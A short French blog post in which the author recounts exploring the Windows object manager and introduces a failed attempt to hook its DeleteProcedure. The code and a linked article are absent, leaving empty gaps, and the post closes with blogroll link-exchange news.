Ces « méthodes » sont celles que j'ai pu rencontrer dans ma petite excursion.

Voilà les informations que j'ai pu récoltés sur l'object manager, si quelques personnes auraient menés des recherches en rapport avec celui-ci merci de me le faire savoir :).


A présent je vous propose mon code ( foireux certes ) de hook de la DeleteProcedure :



Et un petit lien venut tout droit du uninformed v8 :



Voilà c'est finis pour aujourd'hui, en espérant que le post plaira a certains malgrès l'echec de mon hook :/.

Cya!

PS : Un échange de liens vient d'être mise en place avec les noxistes ainsi qu'avec Ghosts In The Stack, je les ajoute donc à la blogrollz, bonne continuation à eux et merci à eux deux.